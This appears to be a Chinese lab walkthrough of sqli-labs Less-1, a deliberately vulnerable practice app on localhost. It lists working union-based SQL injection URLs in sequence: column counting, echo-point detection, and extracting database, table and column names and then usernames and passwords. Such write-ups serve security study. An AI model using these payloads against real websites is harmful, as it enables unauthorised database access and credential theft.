sqli-labs复现

将网址导入HackBar中

sqli-labs复现_第1张图片

1.输入http://127.0.0.1/sqli/Less-1/?id=1’

sqli-labs复现_第2张图片

报错,再输入–+

sqli-labs复现_第3张图片

2.输入http://127.0.0.1/sqli/Less-1/?id=1’ order by 1–+

sqli-labs复现_第4张图片

出现用户名和密码。

继续输入 order by 2–+,order by 3–+,······当输入 order by 4–+时:

出现报错,说明数据库只有三列

3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,3–+
来判断三列数据的回显点,用1,2,3来标记:
sqli-labs复现_第5张图片

4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,database()–+在3回显点处输出当前数据库名:sqli-labs复现_第6张图片

5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema=‘security’ limit 1,1–+查看位于security库下的第一个表:
sqli-labs复现_第7张图片

limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:
concat()函数用于将多个字符串连接成一个字符串。
语法及使用特点: concat(str1,str2,…)
group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+查看库中所有的表:
sqli-labs复现_第8张图片

7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,column_name from information_schema.columns where table_name=‘users’ limit 0,1–+查看user表中的第一个列:
sqli-labs复现_第9张图片

8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,concat_ws(‘~’,username,password) from security.users limit 1,1–+查看一个账号和密码以“~”隔开

sqli-labs复现_第10张图片

结合函数可得到所有账号和密码:

sqli-labs复现_第11张图片

你可能感兴趣的:(数据库)